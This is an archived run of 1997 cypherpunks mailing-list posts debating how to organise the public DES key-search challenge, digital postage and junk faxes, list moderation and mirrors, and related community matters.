This would > >significantly aid folks in their shopping around. > > The basic difficulty with this idea is that _senders_ generally > don't have much of a choice where the messages go, once you've decided > to accept them. In other words, just because you've decided to accept > a message doesn't mean it suddenly becomes > copyleft/public domain/whatever. Now, if you, say, announced that only > subscribers to your particular list, subscribers to any other lists > adopting the same idea, and those who'd sign a consent agreement could > post through your list, that wouldn't be a problem... although I > suspect you wouldn't get many subscribers. > -Allen That wouldn't be the way it work -- Jim operates one of the cp remailers; I operate another. Jim has a standard policy concerning public domain/copyright that is different than mine. So *I* put an X-distrib-policy header in all the cp mail I forward to him. More precisely, all of my incoming mail for "cypherpunks at songbird.com" gets the header. This protocol needs a bit of refinement, and perhaps some hacking at majordomo, but seems fairly straightforward. Jim's policy is actually very reasonable. It has a rational basis, though one might disagree with it, and it is easy to deal with it this way. A more extreme policy -- "The operator of this mailing list claims an exclusive copyright on every piece of mail sent to it; by sending to it you agree to this policy", for example -- would be harder to deal with. -- Kent Crispin "No reason to get excited", kent at songbird.com,kc at llnl.gov the thief he kindly spoke... PGP fingerprint: 5A 16 DA 04 31 33 40 1E 87 DA 29 02 97 A3 46 2F From tcmay at got.net Sat Feb 15 17:11:59 1997 From: tcmay at got.net (Timothy C. May) Date: Sat, 15 Feb 1997 17:11:59 -0800 (PST) Subject: (fwd) DES challenge organisation Message-ID: <199702160111.RAA14529@toad.com> At 11:02 PM +0000 2/15/97, Adam Back wrote: >Thomas S writes: >> [...] >> >> 5. The prize money will be split equally between Gutenberg and EFF. >> There is a possibility of using part of it for stickers or >> something similar, but don't count on it. > >Not a good idea. > >How can this be enforced? The RSADSI DES challenge is open to all >comers, and how do you prove that someone who finds the key found it >through this group effort? > >I have a suspicion many people would be tempted to fill in the RSA >challenge form and email it in themselves. $10,000 is a fair amount >of money. Once again, the advantages of an "uncoordinated search" should be mentioned. An uncoordinated search, in which people randomly search chunks of keyspace is obviously less efficient than a coordinated search where no part of the space is searched two or more times. However, an uncoordinated search is only less efficient by a small factor of two or three, with a 95% probability that the key will be found with an effort "only" 3 times greater than with a coordinated search. (The Poisson probability distribution is what's involved here, and the math is fairly easy to work out.) A 2-4x factor is significant, and may warrant a coordinated search. However, the various problems implicit in coordinated searches are factors, too. Also, an uncoordinated search solves the "prize" problem, as whomever finds the key makes the contact with RSADSI. One of the problems with a coordinated search, if the remaining keyspace to be doled out is publically announced, is that as the keyspace is searched and a key _not_ found, the remaining keyspace is increasingly more tempting for "independent searchers" to search. Sort of the way the odds on some lotteries actually become "acceptable" as the lottery pot grows. The organizer of the coordinated search must then, I surmise, keep the assignments secret and dole out keyspace securely. Having the prize money go to the finder of the key, as opposed to some artificial division between EFF, Gutenberg, etc., is also an incentive for people to contribute more CPU time. --Tim May >I know I would be tempted. I have been running Svend Olaf's DES code, >and my intention in the unlikely event that I hit the key had been to >claim the money. > >How does it hurt the publicity if the actual individual who finds the >key takes the money? Surely it adds excitement to the story? > >In fact it would provide people with a possibly more powerful >incentive to try to break the key in the first place -- in the hopes >of winning the prize! $10,000 means more to a lot of people than >opposing ITAR/EAR, and participating in a technical challenge. To >start with a lot of people who's CPUs we could be using don't even >know what ITAR/EAR are! > >> We hope to get a working system up and running ASAP. The fact alone >> that DES is seriously challenged (with a reasonable time frame) >> should give us quite some publicity (by the time the system is >> ready). If we can make use of that, we will have significantly more >> client than for the 48 bit key. > >I would have thought announcing that $10,000 can be won by running >easy to use windows software on a wide selection of newsgroups would >get you lots of CPUs! > >Adam >-- >print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> >)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Thomas S writes: > [...] > > 5. The prize money will be split equally between Gutenberg and EFF. > There is a possibility of using part of it for stickers or > something similar, but don't count on it. Not a good idea. How can this be enforced? The RSADSI DES challenge is open to all comers, and how do you prove that someone who finds the key found it through this group effort? I have a suspicion many people would be tempted to fill in the RSA challenge form and email it in themselves. $10,000 is a fair amount of money. I know I would be tempted. I have been running Svend Olaf's DES code, and my intention in the unlikely event that I hit the key had been to claim the money. How does it hurt the publicity if the actual individual who finds the key takes the money? Surely it adds excitement to the story? In fact it would provide people with a possibly more powerful incentive to try to break the key in the first place -- in the hopes of winning the prize! $10,000 means more to a lot of people than opposing ITAR/EAR, and participating in a technical challenge. To start with a lot of people who's CPUs we could be using don't even know what ITAR/EAR are! > We hope to get a working system up and running ASAP. The fact alone > that DES is seriously challenged (with a reasonable time frame) > should give us quite some publicity (by the time the system is > ready). If we can make use of that, we will have significantly more > client than for the 48 bit key. I would have thought announcing that $10,000 can be won by running easy to use windows software on a wide selection of newsgroups would get you lots of CPUs! Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Roy M. Silvernail wrote: > > Clearly, spammers who pay their readers to read their messages (and who > > do get them to read) will have a very high response rate. That may > > justify adding postage to their letters. > > It should also spur development of intelligent agents which can retrieve > this cash without human intervention. Spammers will doubtless alter > their pages to require more interaction to find the key to the cash. > Then the IA's will be improved. Then... remember the copy protection > wars? This isn't necessarily a negative point. > > > The advantages are obvious. The disadvantage is a possibility of someone > > stealing the money on the way, if the letters are not encrypted. > > Or that the money wasn't there in the first place (absent a trusted > signature system), or the key doesn't exist, or the wrong key is > offered, or the sender put the same e-dollar on all 60000 mails sie > sent and it's already been redeemed. Well, if the trusted party performs the encryption by both recipient's public key and the "retrieval key", the problem that you mention can be avoided. - Igor. From dthorn at gte.net Sat Feb 15 18:11:42 1997 From: dthorn at gte.net (Dale Thorn) Date: Sat, 15 Feb 1997 18:11:42 -0800 (PST) Subject: More on digital postage In-Reply-To: <199702151802.KAA22867@mail.pacifier.com> Message-ID: <33066CC5.74C8@gte.net> jim bell wrote: > At 11:40 AM 2/15/97 -0600, snow wrote: > >Mr. Bell wrote: > But having an address, and a walkway, and a doorbell is generally considered > if not explicit permission, but at least toleration of the idea that > somebody can walk up and knock on the door, etc. Having a telephone with a > number that anyone can dial is going to result in some level of intrusion. > Having a fax machine is a similar issue, unless technology provides a way to > block unwanted faxes. There are some neato methods to deal with the door and the phone, but I haven't investigated faxes since I don't run one at home. For the door, you can have a locked gate so they can't knock on the door, and an adjustable volume ringer or phone at the gate that's easy to ignore when you don't want them to know you're there and you're ignoring them. If the gate is not practical, at least put a locked screen door in front of the regular door, and the ringer or whatever outside the screen. For more aggressive pests, some signs might be necessary. For the phone, you can do like I did, and simply remove (or break) the outgoing message tape, so when they call, all they get is a beep and they'll have to think fast or they're cut off. Cuts way back on pesky calls, but allows your loyals to leave messages or speak so you'll know who it is. From snow at smoke.suba.com Sat Feb 15 18:14:43 1997 From: snow at smoke.suba.com (snow) Date: Sat, 15 Feb 1997 18:14:43 -0800 (PST) Subject: More on digital postage In-Reply-To: Message-ID: <199702160233.UAA05925@smoke.suba.com> Mr. May wrote: > At 11:40 AM -0600 2/15/97, snow wrote: > >Mr. Bell wrote: > >> However, you connect that fax machine to a phone line, when you know full > >> well that should it be enabled to do so, it will automatically pick up the > >> phone when it "hears" a ring, and will print out a fax based on information > >> provided. It isn't clear why sending a fax is any "wronger" than mailing > >> junk mail, or making a (voice) phone call to somebody. > > That is a ridiculous argument. The door to my home is connected > >to the street,m and I know full well that that makes it easy for anyone > >to come wandering in to my home. Is it legal, just because I have my > >home hooked to the street, for someone to come in and help themselves to > >a beer out of my fridge? > > The proper parallel is to _knocking on the door_. Talking about "unwanted > phone calls" or "unwanted faxes" as being equivalent to entering a house > and wandering around is incorrect. With phone calls, yes. With unwanted faxes no. With Phone Calls, and knocks on the door I have the option of simply not answering. Faxes (in certain enviroments) you can't do that with. > Our society fairly reasonably allows tort relief for, say, having one's > doorbell rung frequently or at odd hours. On the fax issue, similar tort > relief could be obtained if a person or business was truly "under attack." > (Purists, like me, would probably prefer technological solutions even in > these cases. Leave a phone on answering machine mode, only switch on the > fax mode when a fax is expected, etc.) Or simply a societal acceptance of retaliation(sp?) Someone who constantly wakes you up in the middle of the night, well you just arrange it so they get no sleep. > These tort actions are a far cry from proposals that anyone whose knock on > the door, or phonecall, or e-mail, or fax is subject to criminal > prosecution under proposed new laws. > (I think the courts are already clogged enough, and I have faith that no > court in the land will accept a case where no real harm was done. A friend > of mine got mailbombed with 25,000 e-mail messages in one day, shutting > down his account until the mess could be cleaned up, and it's not even > likely he'll ever get any relief.) I (I think like you) feel that almost no one will get convicted of these "crimes" unless the attacker simply goes too far. > What CompuServe did was quite different, as CompuServe decided that some > e-mail would not be delivered. This is essentially comparable to the Postal > Service deciding that mail from the National Rifle Association is, to them, > "junk," or to the phone company deciding that phone calls from Libya or > Iraq or some other unfavored nation will be fed to a dead number. Not really. The US Postal service is a regulated monopoly, and is the only game in town. If they weren't a regulated monopoly, I wouldn't care if they refused to carry certain peices of mail, the mailer would have the option of simply using a different service. Thus with compuserve, they have the right (as a private company) to refuse to deliver what ever they wish. And their users have the right to go elsewhere. > Getting the courts and the regulators involved in deciding what speech is > junk and what is not junk is unconstitutional, which was my earlier point. Which I argee with. From dthorn at gte.net Sat Feb 15 18:14:52 1997 From: dthorn at gte.net (Dale Thorn) Date: Sat, 15 Feb 1997 18:14:52 -0800 (PST) Subject: FBI_100 In-Reply-To: <1.5.4.32.19970215140414.006bbd64@pop.pipeline.com> Message-ID: <33066D8F.1159@gte.net> John Young wrote: > "Phone Companies Balk At Latest Plan by FBI." Markoff. > Telcos are arguing that the new system will be far more > intrusive and expensive than industry first thought, and > would expand LEA wiretap capabilities 100-fold. "This is > kind of scary. What does the FBI know about our future > that we don't?" > See the FBI's latest wiretap plan at: > http://jya.com/fbi011497.txt You could start by interviewing Freeh's own kids, who conspired (according to the L.A. Times) to have the local police make a call the other night. According to Freeh, "I dealt with my kids in a most un-Constitutional and autocratic manner" (quote approx.). From dthorn at gte.net Sat Feb 15 18:21:36 1997 From: dthorn at gte.net (Dale Thorn) Date: Sat, 15 Feb 1997 18:21:36 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" In-Reply-To: <199702152355.PAA00282@songbird.com> Message-ID: <33066F12.60CB@gte.net> Kent Crispin wrote: > Dale Thorn allegedly said: > > If I understood the last several hundred messages correctly, they have > > tried to make the point that the cypherpunks mailing list (unedited) > > was more ideal than a newsgroup. If this is what Dave is offering, > > I'm surprised if more people don't jump on it. Then again, they > > took their good ol' time jumping onto cypherpunks-unedited. > Dave is offering a single mailing list, which, while I am sure Dave is > a great person, still represents a single point of control and a > single point of failure. A distributed mailing list has a potential > for being much more robust, and for supporting a wide range of > viewpoints. Furthermore a distributed mailing list is an interesting > minor technical problem, and a good solution could have wide > applicability. > So I think that people would like to get the distributed list going... I hope this doesn't duplicate the earlier message - if someone were tracking all this activity and kept the lists informed about what was available where - and particularly if the downloading could be automatic as in the subscription lists - that would be ideal. I wanted to spend some time on alt.cypherpunks, but I haven't got thru the subscription mail for the last few days yet. If there's a scheme that works better than just ad-hoc looking, I'd sure like to know. From mpd at netcom.com Sat Feb 15 18:22:56 1997 From: mpd at netcom.com (Mike Duvos) Date: Sat, 15 Feb 1997 18:22:56 -0800 (PST) Subject: (fwd) DES challenge organisation In-Reply-To: <199702152256.WAA00403@server.test.net> Message-ID: <199702160222.SAA10114@netcom21.netcom.com> Adam Back writes: > How can this be enforced? The RSADSI DES challenge is open > to all comers, and how do you prove that someone who finds > the key found it through this group effort? > I have a suspicion many people would be tempted to fill in > the RSA challenge form and email it in themselves. $10,000 > is a fair amount of money. Of course they will. If the unsearched portions of the keyspace are published, you can just sit back until the odds go up and then throw some CPU power at it. There is no obligation on the part of the individual who finds the key to not claim the prize personally. The issues of random keyspace assignment to protect against sabotage and centralized monolithic server vs autonomous client have been debated on the "muffin" list, where I have been lurking, but the people in charge seem to like explicit keyspace partitioning and servers a lot. Should be an interesting effort. By the way, does anyone know if des-challenge at muffin.org is alive? I haven't seen any messages from it in over a day and majordomo is not responding to inquiries. -- Mike Duvos $ PGP 2.6 Public Key available $ mpd at netcom.com $ via Finger. $ From jimbell at pacifier.com Sat Feb 15 18:34:00 1997 From: jimbell at pacifier.com (jim bell) Date: Sat, 15 Feb 1997 18:34:00 -0800 (PST) Subject: More on digital postage Message-ID: <199702160232.SAA14084@mail.pacifier.com> At 08:33 PM 2/15/97 -0600, snow wrote: >Mr. May wrote: >> At 11:40 AM -0600 2/15/97, snow wrote: >> > That is a ridiculous argument. The door to my home is connected >> >to the street,m and I know full well that that makes it easy for anyone >> >to come wandering in to my home. Is it legal, just because I have my >> >home hooked to the street, for someone to come in and help themselves to >> >a beer out of my fridge? >> >> The proper parallel is to _knocking on the door_. Talking about "unwanted >> phone calls" or "unwanted faxes" as being equivalent to entering a house >> and wandering around is incorrect. > > With phone calls, yes. With unwanted faxes no. With Phone Calls, >and knocks on the door I have the option of simply not answering. Faxes >(in certain enviroments) you can't do that with. That's a technlogical problem, and deserves a technological solution. > >> Our society fairly reasonably allows tort relief for, say, having one's >> doorbell rung frequently or at odd hours. On the fax issue, similar tort >> relief could be obtained if a person or business was truly "under attack." >> (Purists, like me, would probably prefer technological solutions even in >> these cases. Leave a phone on answering machine mode, only switch on the >> fax mode when a fax is expected, etc.) > > Or simply a societal acceptance of retaliation(sp?) Someone who >constantly wakes you up in the middle of the night, well you just arrange >it so they get no sleep. Well, I've proposed such a system before... >> These tort actions are a far cry from proposals that anyone whose knock on >> the door, or phonecall, or e-mail, or fax is subject to criminal >> prosecution under proposed new laws. >> (I think the courts are already clogged enough, and I have faith that no >> court in the land will accept a case where no real harm was done. A friend >> of mine got mailbombed with 25,000 e-mail messages in one day, shutting >> down his account until the mess could be cleaned up, and it's not even >> likely he'll ever get any relief.) > > I (I think like you) feel that almost no one will get convicted >of these "crimes" unless the attacker simply goes too far. Which is why my first choice is, uh, and alternative method of "justice." Jim Bell jimbell at pacifier.com From das at razor.engr.sgi.com Sat Feb 15 18:36:30 1997 From: das at razor.engr.sgi.com (Anil Das) Date: Sat, 15 Feb 1997 18:36:30 -0800 (PST) Subject: DES challenge organisation In-Reply-To: <199702152256.WAA00403@server.test.net> Message-ID: <9702151836.ZM26501@razor.engr.sgi.com> On Feb 15, 5:01pm, Timothy C. May wrote: > Subject: Re: (fwd) DES challenge organisation > However, an uncoordinated search is only less efficient by a small factor > of two or three, with a 95% probability that the key will be found with an > effort "only" 3 times greater than with a coordinated search. (The Poisson > probability distribution is what's involved here, and the math is fairly > easy to work out.) > The motivation to crack the DES challenge is more the political one of proving DES (aka 56 bit encryption in the popular press) insecure than the financial one of getting the $10,000 prize. To actually get a good mesaure of the strength of DES using this approach, the number of machines that participated in the attack and the time they spend has to be known. This is a main reason why Germano's team prefers the search to be co-ordinated and why they have been asking people not to start the search before the server is ready. > One of the problems with a coordinated search, if the remaining keyspace to > be doled out is publically announced, is that as the keyspace is searched > and a key _not_ found, the remaining keyspace is increasingly more tempting > for "independent searchers" to search. Sort of the way the odds on some > lotteries actually become "acceptable" as the lottery pot grows. The > organizer of the coordinated search must then, I surmise, keep the > assignments secret and dole out keyspace securely. Knowing the number of people they were able to get to participate in the RC5 attack, this is not a significant problem. They are going to have 5000 clients nibbling away on the not-yet-searched keyspace. Some Johnny-come-lately trying to muscle in on the action towards the end is not going to make a significant dent in their chances of hitting the correcy key first. > Having the prize money go to the finder of the key, as opposed to some > artificial division between EFF, Gutenberg, etc., is also an incentive for > people to contribute more CPU time. Again, they didn't have a problem getting people to join in on the RC5/32/12/6 attack. At least the same number of people can be expected to join in for the DES attack, giving an estimated search time of around eight months, if nobody else builds a hardware DES cracker first. -- Anil Das From dthorn at gte.net Sat Feb 15 18:44:20 1997 From: dthorn at gte.net (Dale Thorn) Date: Sat, 15 Feb 1997 18:44:20 -0800 (PST) Subject: The EFF In-Reply-To: <199702141704.JAA03249@netcom10.netcom.com> Message-ID: <33067402.1C4D@gte.net> Toto wrote: > Timothy C. May wrote: > > At 9:36 AM -0800 2/14/97, Declan McCullagh wrote: > It is my (limited) understanding that the EFF has discovered that > the support that comes with private philanthropy from will o'wisp > Bay Area 'liberals' doesn't carry the terrible burden of having to > compete for the petty contributions of the UnRich. > I have a brother-in-law who gives seminars to the Nouveau Riche in > the Bay Area, teaching them how to give their money away to 'good' > causes. I believe that one of the prime considerations in separating > the 'good' causes from the 'bad' causes has something to do with the > the proper wine being served with the cheese and cracker offerings > during their cocktail parties. Wine and cheese are the key. You hit that one on the head. I tried those Mensa parties in Beverly Hills a few times, but the girls want you to kiss their hands like some kinda princesses or something, whereas I think a simple handshake would suffice. So I just quit going. Maybe this has something to do with why there are no c-punks meetings in the L.A. area. From dthorn at gte.net Sat Feb 15 18:44:51 1997 From: dthorn at gte.net (Dale Thorn) Date: Sat, 15 Feb 1997 18:44:51 -0800 (PST) Subject: The EFF In-Reply-To: <199702141704.JAA03249@netcom10.netcom.com> Message-ID: <33067467.55B4@gte.net> Toto wrote: > Timothy C. May wrote: > > At 9:36 AM -0800 2/14/97, Declan McCullagh wrote: > It is my (limited) understanding that the EFF has discovered that > the support that comes with private philanthropy from will o'wisp > Bay Area 'liberals' doesn't carry the terrible burden of having to > compete for the petty contributions of the UnRich. > I have a brother-in-law who gives seminars to the Nouveau Riche in > the Bay Area, teaching them how to give their money away to 'good' > causes. I believe that one of the prime considerations in separating > the 'good' causes from the 'bad' causes has something to do with the > the proper wine being served with the cheese and cracker offerings > during their cocktail parties. Wine and cheese are the key. You hit that one on the head. I tried those Mensa parties in Beverly Hills a few times, but the girls want you to kiss their hands like some kinda princesses or something, whereas I think a simple handshake would suffice. So I just quit going. Maybe this has something to do with why there are no c-punks meetings in the L.A. area. From sheldon at sdsu.edu Sat Feb 15 19:16:13 1997 From: sheldon at sdsu.edu (Sheldon Glass) Date: Sat, 15 Feb 1997 19:16:13 -0800 (PST) Subject: cypherpunks@toad.com Message-ID: I'm a very long term lurker writing to thank you for hosting the mailing list. It was surprising that the list, if not the community, was as vulnerable to twits like Vulis as it appears. It's a valuable lesson. When cypherpunks rise from these ashes I hope that designers of alternatives will remember the Alamo so to speak. -- sheldon glass | Plauger's Dogma sglass at mail.sdsu.edu | No program may leave its sanity #include | at the mercy of its input. From loki at infonex.com Sat Feb 15 19:30:23 1997 From: loki at infonex.com (Lance Cottrell) Date: Sat, 15 Feb 1997 19:30:23 -0800 (PST) Subject: Mirrors and replies-to In-Reply-To: Message-ID: At 7:24 AM -0800 2/15/97, Robert Hettinga wrote: >However, I would like it if the mirror operators would reinstantiate a >feature of the original list for me. The reply-to field on the mirrors is >currently set to cypherpunks at toad.com. On the original list, this was set >to "sender", both to keep people from replying to the list unnecessarily >(hah! :-)) but also to keep mail loops from forming. Mail loops could be a >big problem, especially when you guys put together your neo-netnews >mailring. (a little jyaism, that... :-)). After some discussion, the reply-to: cypherpunks at toad.com was a deliberate choice. I wanted to ensure that the list at cyberpass did not become an island. Once the main list expires, the reply-to will be changed to the sender. -Lance ---------------------------------------------------------- Lance Cottrell loki at obscura.com PGP 2.6 key available by finger or server. http://www.obscura.com/~loki/ "Love is a snowmobile racing across the tundra. Suddenly it flips over, pinning you underneath. At night the ice weasels come." --Nietzsche ---------------------------------------------------------- From das at razor.engr.sgi.com Sat Feb 15 19:35:18 1997 From: das at razor.engr.sgi.com (Anil Das) Date: Sat, 15 Feb 1997 19:35:18 -0800 (PST) Subject: Where is the reorg FAQ? Message-ID: <9702151935.ZM26624@razor.engr.sgi.com> I saw a reference to an FAQ by Adam Back, explaining the mailing lists that are being set up to replace cypherpunks at toad.com, but I didn't see the FAQ itself, on either cypherpunks-unedited or cypherpunks at toad.com, which I read as mail.cypherpunks. Maybe it fell through the cracks. Could Adam or somebody else repost it? Thanks. Btw, one of our many news servers has alt.cypherpunks, but it has very low traffic. I doubt people are not posting. Must be alt.cypherpunks missing from some upstream sites. -- Anil Das From mpd at netcom.com Sat Feb 15 20:33:39 1997 From: mpd at netcom.com (Mike Duvos) Date: Sat, 15 Feb 1997 20:33:39 -0800 (PST) Subject: Where is the reorg FAQ? In-Reply-To: <9702151935.ZM26624@razor.engr.sgi.com> Message-ID: <199702160433.UAA27937@netcom20.netcom.com> Anil Das writes: > Btw, one of our many news servers has alt.cypherpunks, but it has very > low traffic. I doubt people are not posting. Must be alt.cypherpunks > missing from some upstream sites. To spam propagation islands, it might be a good idea to crosspost to alt.privacy when posting to alt.cypherpunks. It will probably take a week or two before everyone who is going to create the group on their news server gets around to it. -- Mike Duvos $ PGP 2.6 Public Key available $ mpd at netcom.com $ via Finger. $ From newton at atdot.dotat.org Sat Feb 15 20:42:49 1997 From: newton at atdot.dotat.org (Mark Newton) Date: Sat, 15 Feb 1997 20:42:49 -0800 (PST) Subject: (fwd) DES challenge organisation In-Reply-To: Message-ID: <199702160443.PAA08174@atdot.dotat.org> Timothy C. May wrote: > The organizer of the coordinated search must then, I surmise, keep the > assignments secret and dole out keyspace securely. Perhaps they should DES-encrypt the list of assignments :-) - mark -------------------------------------------------------------------- I tried an internal modem, newton at dotat.org but it hurt when I walked. Mark Newton ----- Voice: +61-4-1155-2401 ------------- Fax: +61-8-83732527 ----- From ichudov at algebra.com Sat Feb 15 21:23:13 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Sat, 15 Feb 1997 21:23:13 -0800 (PST) Subject: Where is the reorg FAQ? In-Reply-To: <199702160433.UAA27937@netcom20.netcom.com> Message-ID: <199702160520.XAA23763@manifold.algebra.com> Mike Duvos wrote: > > Anil Das writes: > > > Btw, one of our many news servers has alt.cypherpunks, but it has very > > low traffic. I doubt people are not posting. Must be alt.cypherpunks > > missing from some upstream sites. > > To spam propagation islands, it might be a good idea to crosspost to > alt.privacy when posting to alt.cypherpunks. It will probably take a week > or two before everyone who is going to create the group on their news > server gets around to it. > Better yet, crosspost to misc.misc. - Igor. From attila at primenet.com Sat Feb 15 22:07:33 1997 From: attila at primenet.com (Attila T. Hun) Date: Sat, 15 Feb 1997 22:07:33 -0800 (PST) Subject: Keep it Simple and the Cypherpunk Way In-Reply-To: <3305FA8F.3B5D@gte.net> Message-ID: <199702160607.XAA28162@infowest.com> -----BEGIN PGP SIGNED MESSAGE----- on or about 970215:1003 Dale Thorn said: +Vladimir Z. Nuri said: +> timmy, cpunks, etc. you are getting a lesson in REALITY. you are seeing +> the logical conclusion of your views playing out before you. acrimony, +> bitterness, resignation, chaos, confusion, cacaphony, anarchy. +Perhaps you should turn your talents to writing country songs. and if I play it backwards I get my dawg, my truck, and my gittar back. ___________________________________________________________attila_____ "Explain to me, slowly and carefully, why if person A, when screwed over on a deal by B; is morally obligated to consult, pay, and defer to, person C for the purpose of seeing justice done; and why person C has any legitimate gripe, if A just hauls off and smacks B around like a dead carp." ___________________________________________________________attila_____ "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: latin1 Comment: No safety this side of the grave. Never was; never will be iQCVAwUBMwaj+b04kQrCC2kFAQH0oAQA3pueKSWg2Fqvb6h3psP67rF18N/kwaMP nD6LE7DgzNYVTYwwKjk/eT8/i2kdSEAS8MqkmVc7KwZqsHWl4Ttj23A1GaTHzobL IWwfRAR6BJfcjyvQSzkG/Pq4R7FYvyLoSAqwsYLvlWvC35kiYwwjll9/zprLQbWq RHlrPaY54EU= =I9gB -----END PGP SIGNATURE----- From cynthb at sonetis.com Sat Feb 15 22:10:08 1997 From: cynthb at sonetis.com (Cynthia H. Brown) Date: Sat, 15 Feb 1997 22:10:08 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702160609.BAA13953@homer.iosphere.net> On Sat, 15 Feb 1997 paul at fatmans.demon.co.uk wrote: > Not my point, I didn`t say I would refuse, as in my example, to have > my car serviced by a woman, rather, that I would not feel comfortable > doing so. This is not prejudice, it is a statistical judgement based > on the fact that, as a percentage, I know few women who are competent > car mechanics but I know a number of men who, by the same criteria, I > would call competent. Acknowledged, agree to disagree :-). (Very few of my male friends can do more than sew on a button, but that doesn't weight my choice of a *professional* tailor.) It did, however, sound like you were agreeing with the previous poster's (more extreme) position. > Very much so, I did not intend, even though my post may have appeared > that way, for one minute to suggest that women were *unable* to carry > out certain tasks, just that they seem less suited to certain > vocations that others. For example, I know a number of good female > History or English students but very few good female mathematics > or computer science students. This is not, I believe, because women are > not "suited" to computer science rather that they have never been encouraged > at high school etc. to learn about such subjects which are seen as male preserves. > I wholeheartedly believe this should not be the case, and my original > post may have been misleading, I just believe that in the current > system very few women do become good at science/technical subjects. Agreed (sadly) that there is a dearth of role models like Mme. Curie or Roberta Bondar. There is also an unfortunate "geek stigma" often attached to those who are good at math or science (male or female). Whether this stigma discourages more girls than boys is questionable (psychology thesis, anyone?), but it has probably resulted in good-math-potential brains taking economics (or whatever) instead. Fewer competitors for the 56-bit prize, but also fewer brains thinking up better PRNGs. Cynthia =============================================================== Cynthia H. Brown, P.Eng. E-mail: cynthb at iosphere.net | PGP Key: See Home Page Home Page: http://www.iosphere.net/~cynthb/ Junk mail will be ignored in the order in which it is received. Klein bottle for rent; enquire within. From cynthb at sonetis.com Sat Feb 15 22:10:23 1997 From: cynthb at sonetis.com (Cynthia H. Brown) Date: Sat, 15 Feb 1997 22:10:23 -0800 (PST) Subject: More on digital postage Message-ID: <199702160610.BAA13975@homer.iosphere.net> On Sat, 15 Feb 1997 Dale Thorn wrote: > jim bell wrote: > > > But having an address, and a walkway, and a doorbell is generally considered > > if not explicit permission, but at least toleration of the idea that > > somebody can walk up and knock on the door, etc. Having a telephone with a > > number that anyone can dial is going to result in some level of intrusion. > > Having a fax machine is a similar issue, unless technology provides a way to > > block unwanted faxes. > > There are some neato methods to deal with the door and the phone, > but I haven't investigated faxes since I don't run one at home. Boring but it works: There are plenty of fax-to-PC programs out there. Anyone can save *lots* of trees by viewing faxes on the screen before printing the useful page(s). Yes, I know, this means human intervention, but so does crumpling up the ***BUY NOW*** garbage, tossing it at the recycle bin, missing, cursing, etc. Here in Canada, the CRTC (Canadian Radio & Telecomms Commission) put out rules limiting the time of day, etc. for phone spam (voice or fax). Does anyone out there have the specifics of the CRTC regs? Cynthia =============================================================== Cynthia H. Brown, P.Eng. E-mail: cynthb at iosphere.net | PGP Key: See Home Page Home Page: http://www.iosphere.net/~cynthb/ Junk mail will be ignored in the order in which it is received. Klein bottle for rent; enquire within. From omegam at cmq.com Sat Feb 15 22:25:23 1997 From: omegam at cmq.com (omegam at cmq.com) Date: Sat, 15 Feb 1997 22:25:23 -0800 (PST) Subject: More on digital postage In-Reply-To: <199702150841.AAA07715@toad.com> Message-ID: <199702160625.AAA11443@jolietjake.com> Peter J. Capelli writes: > I pay for my phone service; I assume you pay a flat rate and not by the incoming fax! > I pay for my fax, toner, and > paper. If they use my property without getting permission first, So, if a person uses a computer fax-modem and, therefore, paper, toner, etc. aren't used, does this change the situation? Suddenly we're very close to the situation of junk-email. (Except that the sender of the junk fax incurs long-distance charges, if there are any, not to mention he pays for the phone service the same as you do) > I believe > that *is* ( or should be ) illegal. "There should be a law!" 5 of the ugliest words in the English language when put together. Look. I understand your sentiment and junk faxes piss me off as well, but the cost of government regulation is too high in my opinion. As I'm sure you're aware, government does a *great* job of creating sensible and useful regulations. Unfortunately, fax machines can't distinguish the text of messages, so you can't do filtering or bounce messages, etc. (Although I have been known to send a nasty reply fax or two. And I never fail to call the send of the fax to complain and have the junk faxes terminated) > Your argument that my plugging a fax > machine itno a phone line I know it will answer, even if it is unauthorized, > is tantamount to saying that if I leave my keys in my car, anyone can take > it, and legally so! While it may be foolish to do that, being > foolish is not > a crime You purchased the fax equipment. Why should the government regulate its usage for you? Ideally, the manufacture of fax machines which are able to authenticate a sender in some manner before permitting the actually permitting transmission of the fax out to paper would likely eliminate junk faxes. Of course, this would involve strong encryption. And -- wouldn't you know it! -- that's covered by a range of confusing and threatening federal regulations -- --------------------------------------------------------------------- Omegaman |"When they kick out your front door, PGP Key fingerprint = | How are you gonna come? 6D 31 C3 00 77 8C D1 C2 | With your hands upon your head, 59 0A 01 E3 AF 81 94 63 | Or on the trigger of your gun?" Send email with "get key" as the| -- The Clash, "Guns of Brixton" "Subject:" to get my public key | _London_Calling_ , 1979 --------------------------------------------------------------------- From pgut001 at cs.auckland.ac.nz Sat Feb 15 22:29:23 1997 From: pgut001 at cs.auckland.ac.nz (Peter Gutmann) Date: Sat, 15 Feb 1997 22:29:23 -0800 (PST) Subject: Crypto code published in magazines Message-ID: <85607455427941@cs26.cs.auckland.ac.nz> I'm trying to find instances of crypto code published in computer magazines in the last few years. I know of Blowfish in DDJ, are there cases of more mainstream computer mags like Byte publishing crypto code (I know Byte did DES in 1977, I'm hoping for something a bit more recent)?. Please mail or cc replies directly to me, nntp.hks.net seems to have died :-(. Peter. From snow at smoke.suba.com Sat Feb 15 22:40:56 1997 From: snow at smoke.suba.com (snow) Date: Sat, 15 Feb 1997 22:40:56 -0800 (PST) Subject: Mirrors and replies-to Message-ID: <199702160640.WAA26884@toad.com> > However, I would like it if the mirror operators would reinstantiate a > feature of the original list for me. The reply-to field on the mirrors is > currently set to cypherpunks at toad.com. On the original list, this was set > to "sender", both to keep people from replying to the list unnecessarily > (hah! :-)) but also to keep mail loops from forming. Mail loops could be a > big problem, especially when you guys put together your neo-netnews > mailring. (a little jyaism, that... :-)). As to the Mailloops: Majordomo seems (at least to me) to be pretty good about handling those kinds of things. If you configure it right. I would rather have the replyto:cypherpunks as I am rather lazy, and would like to be able to save everything in one file easily. Just my $0.01. From snow at smoke.suba.com Sat Feb 15 22:41:12 1997 From: snow at smoke.suba.com (snow) Date: Sat, 15 Feb 1997 22:41:12 -0800 (PST) Subject: More on digital postage Message-ID: 